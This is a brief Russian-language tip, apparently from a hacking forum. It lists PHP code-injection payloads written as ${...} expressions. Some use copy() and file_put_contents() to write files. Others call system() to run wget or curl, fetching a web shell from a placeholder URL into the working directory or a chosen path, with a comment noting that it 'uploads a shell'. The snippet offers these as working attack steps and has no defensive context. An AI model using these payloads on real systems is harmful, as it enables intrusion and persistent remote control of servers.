${copy('откуда','куда')}

${file_put_contents('куда вставить','что вставить')}

${system('wget http://шелл')} //закачает шелл в pwd

${system('curl http://шелл > /куда/записать/шелл')}

мануалы по фунцкиям найдешь на php.su